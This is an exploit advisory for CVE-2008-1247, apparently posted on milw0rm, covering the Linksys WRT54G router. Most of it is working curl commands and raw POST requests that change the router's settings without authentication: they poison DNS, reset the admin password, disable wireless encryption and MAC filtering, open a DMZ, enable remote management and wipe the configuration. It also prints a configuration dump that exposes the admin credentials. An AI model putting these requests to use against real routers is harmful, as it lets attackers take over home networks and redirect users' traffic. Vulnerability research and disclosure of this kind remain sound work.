                                                       regurgitated by: meathive
                                                           url: kinqpinz.info ;]
    				             Tue, 05 Feb 2008 07:51:41 -0700
    ############################################################################
    CVE-2008-1247
    WRT54G firmware version: v1.00.9
    Default LAN IP: 192.168.1.1
    Default auth: user:blank - pass:admin
    Authorization: Basic OmFkbWlu
    php > print base64_decode("OmFkbWlu");
    :admin
    https://kinqpinz.info/lib/wrt54g/
    Refer to the above URL for demonstrations!

    The official CVE -- http://nvd.nist.gov/nvd.cfm?cvename=CVE-2008-1247 -- entry for these vulnerabilities confirm that although the complexity of these attacks is low, their impact is extremely high.
    ############################################################################

                            /******************************
    			* No Authentication Required! *
    			******************************/

    ############################################################################
    What:
    poison dns.
    dns 1 = 1.2.3.4
    dns 2 = 5.6.7.8
    dns 3 = 9.8.7.6

    Where:
    http://192.168.1.1/Basic.tri?dhcp_end=149&oldMtu=1500&oldLanSubnet=0&OldWanMode=0&SDHCP1=192&SDHCP2=168&SDHCP3=1&SDHCP4=100&EDHCP1=192&EDHCP2=168&EDHCP3=1&EDHCP4=150&pd=&now_proto=dhcp&old_domain=&chg_lanip=192.168.1.1&_daylight_time=1&wan_proto=0&router_name=WRT54G&wan_hostname=&wan_domain=&mtu_enable=0&lan_ipaddr_0=192&lan_ipaddr_1=168&lan_ipaddr_2=1&lan_ipaddr_3=1&lan_netmask=0&lan_proto=Enable&dhcp_start=100&dhcp_num=50&dhcp_lease=0&dns0_0=1&dns0_1=2&dns0_2=3&dns0_3=4&dns1_0=5&dns1_1=6&dns1_2=7&dns1_3=8&dns2_0=9&dns2_1=8&dns2_2=7&dns2_3=6&wins_0=0&wins_1=0&wins_2=0&wins_3=0&time_zone=%28GMT-08%3A00%29+Pacific+Time+%28USA+%26+Canada%29&daylight_time=ON&layout=en

    How:
    curl -d "dhcp_end=149&oldMtu=1500&oldLanSubnet=0&OldWanMode=0&SDHCP1=192&SDHCP2=168&SDHCP3=1&SDHCP4=100&EDHCP1=192&EDHCP2=168&EDHCP3=1&EDHCP4=150&pd=&now_proto=dhcp&old_domain=&chg_lanip=192.168.1.1&_daylight_time=1&wan_proto=0&router_name=WRT54G&wan_hostname=&wan_domain=&mtu_enable=0&lan_ipaddr_0=192&lan_ipaddr_1=168&lan_ipaddr_2=1&lan_ipaddr_3=1&lan_netmask=0&lan_proto=Enable&dhcp_start=100&dhcp_num=50&dhcp_lease=0&dns0_0=1&dns0_1=2&dns0_2=3&dns0_3=4&dns1_0=5&dns1_1=6&dns1_2=7&dns1_3=8&dns2_0=9&dns2_1=8&dns2_2=7&dns2_3=6&wins_0=0&wins_1=0&wins_2=0&wins_3=0&time_zone=%28GMT-08%3A00%29+Pacific+Time+%28USA+%26+Canada%29&daylight_time=ON&layout=en" http://192.168.1.1/Basic.tri
    ############################################################################
    What:
    restore factory defaults.

    Where:
    http://192.168.1.1/factdefa.tri?FactoryDefaults=Yes&layout=en

    How:
    curl -d "FactoryDefaults=Yes&layout=en" http://192.168.1.1/factdefa.tri
    ############################################################################
    What:
    restore basic setup options to default.

    Where:
    http://192.168.1.1/Basic.tri?dhcp_end=149&oldMtu=1500&oldLanSubnet=0&OldWanMode=0&SDHCP1=192&SDHCP2=168&SDHCP3=1&SDHCP4=100&EDHCP1=192&EDHCP2=168&EDHCP3=1&EDHCP4=150&pd=&now_proto=dhcp&old_domain=&chg_lanip=192.168.1.1&_daylight_time=1&wan_proto=0&router_name=WRT54G&wan_hostname=&wan_domain=&mtu_enable=0&lan_ipaddr_0=192&lan_ipaddr_1=168&lan_ipaddr_2=1&lan_ipaddr_3=1&lan_netmask=0&lan_proto=Enable&dhcp_start=100&dhcp_num=50&dhcp_lease=0&dns0_0=0&dns0_1=0&dns0_2=0&dns0_3=0&dns1_0=0&dns1_1=0&dns1_2=0&dns1_3=0&dns2_0=0&dns2_1=0&dns2_2=0&dns2_3=0&wins_0=0&wins_1=0&wins_2=0&wins_3=0&time_zone=%28GMT-08%3A00%29+Pacific+Time+%28USA+%26+Canada%29&daylight_time=ON&layout=en

    How:
    curl -d "dhcp_end=149&oldMtu=1500&oldLanSubnet=0&OldWanMode=0&SDHCP1=192&SDHCP2=168&SDHCP3=1&SDHCP4=100&EDHCP1=192&EDHCP2=168&EDHCP3=1&EDHCP4=150&pd=&now_proto=dhcp&old_domain=&chg_lanip=192.168.1.1&_daylight_time=1&wan_proto=0&router_name=WRT54G&wan_hostname=&wan_domain=&mtu_enable=0&lan_ipaddr_0=192&lan_ipaddr_1=168&lan_ipaddr_2=1&lan_ipaddr_3=1&lan_netmask=0&lan_proto=Enable&dhcp_start=100&dhcp_num=50&dhcp_lease=0&dns0_0=0&dns0_1=0&dns0_2=0&dns0_3=0&dns1_0=0&dns1_1=0&dns1_2=0&dns1_3=0&dns2_0=0&dns2_1=0&dns2_2=0&dns2_3=0&wins_0=0&wins_1=0&wins_2=0&wins_3=0&time_zone=%28GMT-08%3A00%29+Pacific+Time+%28USA+%26+Canada%29&daylight_time=ON&layout=en" http://192.168.1.1/Basic.tri
    ############################################################################
    What:
    reset administrative password to 'asdf'.

    Where:
    http://192.168.1.1/manage.tri?remote_mgt_https=0&http_enable=1&https_enable=0&PasswdModify=1&http_passwd=asdf&http_passwdConfirm=asdf&_http_enable=1&web_wl_filter=1&remote_management=0&upnp_enable=1&layout=en

    How:
    curl -d "remote_mgt_https=0&http_enable=1&https_enable=0&PasswdModify=1&http_passwd=asdf&http_passwdConfirm=asdf&_http_enable=1&web_wl_filter=1&remote_management=0&upnp_enable=1&layout=en" http://192.168.1.1/manage.tri
    ############################################################################
    What:
    enable mixed wireless network mode with SSID 'pwnage' on channel 6, SSID broadcasting enabled.

    Where:
    http://192.168.1.1/WBasic.tri?submit_type=&channelno=11&OldWirelessMode=3&Mode=3&SSID=pwnage&channel=6&Freq=6&wl_closed=1&sesMode=1&layout=en

    How:
    curl -d "submit_type=&channelno=11&OldWirelessMode=3&Mode=3&SSID=pwnage&channel=6&Freq=6&wl_closed=1&sesMode=1&layout=en" http://192.168.1.1/WBasic.tri
    ############################################################################
    What:
    disable all wireless encryption.

    Where:
    http://192.168.1.1/Security.tri?SecurityMode=0&layout=en

    How:
    curl -d "SecurityMode=0&layout=en" http://192.168.1.1/Security.tri
    ############################################################################
    What:
    disable wireless MAC filtering.

    Where:
    http://192.168.1.1/WFilter.tri?wl_macmode1=0

    How:
    curl -d "wl_macmode1=0" http://192.168.1.1/WFilter.tri
    ############################################################################
    What:
    enable DMZ to ip 192.168.1.100.

    Where:
    http://192.168.1.1/dmz.tri?action=Apply&dmz_enable=1&dmz_ipaddr=100&layout=en

    How:
    curl -d "action=Apply&dmz_enable=1&dmz_ipaddr=100&layout=en" http://192.168.1.1/dmz.tri
    ############################################################################
    What:
    disable DMZ.

    Where:
    http://192.168.1.1/dmz.tri?action=Apply&dmz_enable=0&layout=en

    How:
    curl -d "action=Apply&dmz_enable=0&layout=en" http://192.168.1.1/dmz.tri
    ############################################################################
    What:
    enable remote management on port 31337 with password 'asdf', wireless web access and UPnP enabled.

    Where:
    http://192.168.1.1/manage.tri?remote_mgt_https=0&http_enable=1&https_enable=0&PasswdModify=1&http_passwd=asdf&http_passwdConfirm=asdf&_http_enable=1&web_wl_filter=1&remote_management=1&http_wanport=31337&upnp_enable=1&layout=en

    How:
    curl -d "remote_mgt_https=0&http_enable=1&https_enable=0&PasswdModify=1&http_passwd=asdf&http_passwdConfirm=asdf&_http_enable=1&web_wl_filter=1&remote_management=1&http_wanport=31337&upnp_enable=1&layout=en" http://192.168.1.1/manage.tri
    ############################################################################

                            /******************************
    			******      Defaults:    ******
    			******************************/

    ############################################################################
    Setup->Basic Setup:
    POST /Basic.tri dhcp_end=149&oldMtu=1500&oldLanSubnet=0&OldWanMode=0&SDHCP1=192&SDHCP2=168&SDHCP3=1&SDHCP4=100&EDHCP1=192&EDHCP2=168&EDHCP3=1&EDHCP4=150&pd=&now_proto=dhcp&old_domain=&chg_lanip=192.168.1.1&_daylight_time=1&wan_proto=0&router_name=WRT54G&wan_hostname=&wan_domain=&mtu_enable=0&lan_ipaddr_0=192&lan_ipaddr_1=168&lan_ipaddr_2=1&lan_ipaddr_3=1&lan_netmask=0&lan_proto=Enable&dhcp_start=100&dhcp_num=50&dhcp_lease=0&dns0_0=0&dns0_1=0&dns0_2=0&dns0_3=0&dns1_0=0&dns1_1=0&dns1_2=0&dns1_3=0&dns2_0=0&dns2_1=0&dns2_2=0&dns2_3=0&wins_0=0&wins_1=0&wins_2=0&wins_3=0&time_zone=%28GMT-08%3A00%29+Pacific+Time+%28USA+%26+Canada%29&daylight_time=ON&layout=en
    ############################################################################
    Setup->DDNS:
    POST /ddns.tri ddns_enable=0
    ############################################################################
    Setup->MAC Address Clone:
    POST /WanMac.tri action=Apply&mac_clone_enable=0
    ############################################################################
    Setup->Advanced Routing:
    POST /AdvRoute.tri action=Apply&bSRoute=1&oldOpMode=0&wk_mode=0&route_page=0&route_name=&route_ipaddr_0=0&route_ipaddr_1=0&route_ipaddr_2=0&route_ipaddr_3=0&route_netmask_0=0&route_netmask_1=0&route_netmask_2=0&route_netmask_3=0&route_gateway_0=0&route_gateway_1=0&route_gateway_2=0&route_gateway_3=0&route_ifname=0
    ############################################################################
    Wireless->Basic Wireless Settings:
    POST /WBasic.tri submit_type=&channelno=11&OldWirelessMode=3&Mode=3&SSID=linksys&channel=6&Freq=6&wl_closed=1&sesMode=1&layout=en
    ############################################################################
    Wireless->Wireless Security:
    POST /Security.tri SecurityMode=0&layout=en
    ############################################################################
    Wireless->Wireless MAC Filter:
    POST /WFilter.tri wl_macmode1=0
    ############################################################################
    Wireless->Advanced Wireless Settings:
    POST /Advanced.tri AuthType=0&basicrate=default&wl_rate=0&wMode=3§ype=0&ctspmode=off&FrameBurst=off&BeaconInterval=100&Dtim=1&FragLen=2346&RTSThre=2347&apisolation=0&apSESmode=1
    ############################################################################
    Security->Firewall:
    POST /fw.tri ident_pass=1&action=Apply&block_wan=1&IGMP=1&_ident_pass=1
    ############################################################################
    Security->VPN:
    POST /vpn.tri action=Apply&ipsec_pass=1&pptp_pass=1&l2tp_pass=1
    ############################################################################
    Access Restrictions->Internet Access:
    POST /filter.tri action=Apply&f_id=0&f_status1=disable&f_name=&f_status2=1&day_all=1&time_all=1&FROM_AMPM=0&TO_AMPM=0&blocked_service0=NONE&blocked_service1=NONE&host0=&host1=&host2=&host3=&url0=&url1=&url2=&url3=&url4=&url5=
    ############################################################################
    Applications & Gaming->Port Range Forward:
    POST /PortRange.tri action=Apply&RuleID_0=0&name0=&from0=0&to0=0&pro0=both&ip0=0&RuleID_1=0&name1=&from1=0&to1=0&pro1=both&ip1=0&RuleID_2=0&name2=&from2=0&to2=0&pro2=both&ip2=0&RuleID_3=0&name3=&from3=0&to3=0&pro3=both&ip3=0&RuleID_4=0&name4=&from4=0&to4=0&pro4=both&ip4=0&RuleID_5=0&name5=&from5=0&to5=0&pro5=both&ip5=0&RuleID_6=0&name6=&from6=0&to6=0&pro6=both&ip6=0&RuleID_7=0&name7=&from7=0&to7=0&pro7=both&ip7=0&RuleID_8=0&name8=&from8=0&to8=0&pro8=both&ip8=0&RuleID_9=0&name9=&from9=0&to9=0&pro9=both&ip9=0
    ############################################################################
    Applications & Gaming->Port Triggering:
    POST /ptrigger.tri RuleID_0=&service_name0=&tfrom0=0&tto0=0&rfrom0=0&rto0=0&RuleID_1=&service_name1=&tfrom1=0&tto1=0&rfrom1=0&rto1=0&RuleID_2=&service_name2=&tfrom2=0&tto2=0&rfrom2=0&rto2=0&RuleID_3=&service_name3=&tfrom3=0&tto3=0&rfrom3=0&rto3=0&RuleID_4=&service_name4=&tfrom4=0&tto4=0&rfrom4=0&rto4=0&RuleID_5=&service_name5=&tfrom5=0&tto5=0&rfrom5=0&rto5=0&RuleID_6=&service_name6=&tfrom6=0&tto6=0&rfrom6=0&rto6=0&RuleID_7=&service_name7=&tfrom7=0&tto7=0&rfrom7=0&rto7=0&RuleID_8=&service_name8=&tfrom8=0&tto8=0&rfrom8=0&rto8=0&RuleID_9=&service_name9=&tfrom9=0&tto9=0&rfrom9=0&rto9=0&trinamelist=&layout=en
    ############################################################################
    Applications & Gaming->DMZ:
    POST /dmz.tri action=Apply&dmz_enable=0&layout=en
    ############################################################################
    Applications & Gaming->QoS:
    POST /qos.tri hport_priority_1=0&hport_priority_2=0&hport_priority_3=0&hport_priority_4=0&hport_flow_control_1=1&hport_flow_control_2=1&hport_flow_control_3=1&hport_flow_control_4=1&happname1=&hport1priority=0&happport1=0&happname2=&hport2priority=0&happport2=0&happname3=&hport3priority=0&happport3=0&happname4=&hport4priority=0&happport4=0&happname5=&hport5priority=0&happport5=0&happname6=&hport6priority=0&happport6=0&happname7=&hport7priority=0&happport7=0&happname8=&hport8priority=0&happport8=0&QoS=0&wl_wme=off&layout=en
    ############################################################################
    Administration->Management:
    POST /manage.tri remote_mgt_https=0&http_enable=1&https_enable=0&PasswdModify=1&http_passwd=d6nw5v1x2pc7st9m&http_passwdConfirm=d6nw5v1x2pc7st9m&_http_enable=1&web_wl_filter=1&remote_management=0&upnp_enable=1&layout=en
    ############################################################################
    Administration->Log:
    POST /ctlog.tri log_enable=0
    ############################################################################
    Administration->Diagnostics->Ping:
    POST /ping.tri action=start&ping_ip=kinqpinz.info&ping_times=5
    ############################################################################
    Administration->Diagnostics->Trace Route:
    POST /tracert.tri action=start&traceroute_ip=kinqpinz.info
    ############################################################################
    Administration->Factory Defaults:
    ############################################################################
    Administration->Firmware Upgrade:
    ############################################################################
    Administration->Config Management:
    ############################################################################
    Status->Router->DHCP Release:
    POST /rstatus.tri action=release&wan_pro=0&conn_stats=4294967295&layout=en
    ############################################################################
    Status->Router->DHCP Renew:
    POST /rstatus.tri action=renew&wan_pro=0&conn_stats=4294967295&layout=en
    ############################################################################
    Status->Local Network:
    ############################################################################
    Status->Wireless:
    ############################################################################

    A couple new things I've found inside the default configuration file, http://192.168.1.1/Config.bin.
    The router uses a military NTP server, ntp2.usno.navy.mil, for synchronizing time.
    The device's virtual memory/file system info is located at /mem/pricf/0, which I'm still exploring.
    The only reference I've found in regards to /mem/pricf/0, by the way, is on a Korean site so it's still relatively new territory.

    By simply viewing the ASCII within Config.bin we can view the administrative user name and password, external and internal IPs, router name, available service configurations, and so on.

    It becomes more interesting when the device is not left in default mode as more information is available pertaining to what is and isn't left on.

    The firmware seems to come from a company named Intoto, http://www.intoto.com/company.shtml.

    Here is a dump of Config.bin using the default settings:
    ############################################################################
    TROC
    /mem/pricf/0
    (c) 2001 Copyright Intoto, Inc
    5VGWJ
    WRT54G
    linksysrouter
    self
    ntp2.usno.navy.mil
    root
    00000000000000
    mirror0
    None
    None
    httpSharenet
    mirror0
    httpSharenet
    httpSubnet
    httpSharenet
    httpSubnet
    19192.168.1.1
    httpSharenet
    httpSubnet
    PPPOE
    PPPOE
    PPTP
    PPTP
    L2TP
    L2TP
    PPPOE
    PPPoE
    Med=vl1,AC=,Fr=Sync
    PPTP
    PPTP
    :M-2:I-0.0.0.0:F-2:B-2
    L2TP
    L2TP
    M:2:P:0.0.0.0:K:0:A:0:F:1:B:0:T:33000:R:33300:Y:555:G:Intoto-Net:U:Intoto-India
    Intoto
    IntotoSoft
    Intoto
    WANIPConn1
    WANIPConn1
    ----
    admin
    admin
    linksys
    long
    default
    langpak_en
    PING
    TFTP
    IMAP
    HTTPS
    SNMP
    NNTP
    POP3
    SMTP
    HTTP
    TELNET
    RegularNAT1
    RegularNAT1
    RegularNAT1
    RegularNAT1
    RegularNAT1
    DefaultTcp
    DefaultUdp
    DefaultIcmp
    ftpinac
    dnsinac
    hainac
    gatekeeper
    msgudp
    tftp
    pcanywhere
    l2tp
    rtsp554
    rtsp7070
    h323
    msgtcp
    pptp
    n2pe
    cuseeme
    mszone
    CORP
    SELF
    DefPoly
    DefISAKMP
    DefPPTP
    DefL2TP
    ############################################################################
    I should mention that the external IP was available to me when I dumped Config.bin after making some changes in the Web interface. By default, it is not viewable. Here the admin password is 'asdf':
    ############################################################################
    TROC
    /mem/pricf/0
    (c) 2001 Copyright Intoto, Inc
    5VGWJ
    WRT54G
    linksysrouter
    self
    ntp2.usno.navy.mil
    root
    00000000000000
    mirror0
    None
    None
    httpSharenet
    mirror0
    httpSharenet
    httpSubnet
    httpSharenet
    httpSubnet
    19192.168.1.1
    httpSharenet
    httpSubnet
    6868.87.85.98;68.87.69.146
    httpSharenet
    httpSubnet
    hshsd1.co.comcast.net.
    httpSharenet
    httpSubnet
    PPPOE
    PPPOE
    PPTP
    PPTP
    L2TP
    L2TP
    PPPOE
    PPPoE
    Med=vl1,AC=,Fr=Sync
    PPTP
    PPTP
    :M-2:I-0.0.0.0:F-2:B-2
    L2TP
    L2TP
    M:2:P:0.0.0.0:K:0:A:0:F:1:B:0:T:33000:R:33300:Y:555:G:Intoto-Net:U:Intoto-India
    Intoto
    IntotoSoft
    Intoto
    WANIPConn1
    x.x.x.x -- external IP now exists!
    WANIPConn1
    admin
    asdf
    linksys
    long
    default
    langpak_en
    PING
    TFTP
    IMAP
    HTTPS
    SNMP
    NNTP
    POP3
    SMTP
    HTTP
    TELNET
    RegularNAT1
    RegularNAT1
    RegularNAT1
    RegularNAT1
    RegularNAT1
    DefaultTcp
    DefaultUdp
    DefaultIcmp
    ftpinac
    dnsinac
    hainac
    gatekeeper
    msgudp
    tftp
    pcanywhere
    l2tp
    rtsp554
    rtsp7070
    h323
    msgtcp
    pptp
    n2pe
    cuseeme
    mszone
    CORP
    SELF
    DefPoly
    DefISAKMP
    DefPPTP
    DefL2TP
    ############################################################################
    These remaining entries are all from https://kinqpinz.info/lib/wrt54g/, my demo page, which demonstrate how simple HTML can be crafted to crack the device's security.
    ############################################################################
    Poison DNS: static DNS 1 = 1.2.3.4; static DNS 2 = 5.6.7.8; static DNS 3 = 9.8.7.6:
############################################################################ Reset administrative password to 'asdf': ############################################################################ Enable mixed wireless network mode with SSID 'pwnage' on channel 6, SSID broadcasting enabled: ############################################################################ Disable all wireless encryption: ############################################################################ Disable wireless MAC filtering: ############################################################################ Enable DMZ to 192.168.1.100: ############################################################################ Disable DMZ: ############################################################################ Enable remote management on port 31337 with password 'asdf', wireless web access and UPnP enabled: ############################################################################ Enable port forwarding on port 22, SSH, using TCP/UDP to 192.168.1.100: ############################################################################ Enable port forwarding on port 21, FTP, using TCP/UDP to 192.168.1.100: ############################################################################ Enable port triggering on ports 21 & 22, FTP & SSH, respectively: ############################################################################ Enable incoming/outgoing log: ############################################################################ Disable incoming/outgoing log: ############################################################################ Ping a target URL five times: ############################################################################ Trace route a target URL: ############################################################################ DHCP release dynamic IP: ############################################################################ DHCP renew dynamic IP: ############################################################################ Enable VPN (IPSec/PPTP/L2TP) passthrough: ############################################################################ Disable VPN (IPSec/PPTP/L2TP) passthrough: ############################################################################ Restore factory defaults: ############################################################################ Backup current configuration: ############################################################################ # milw0rm.com [2008-03-26]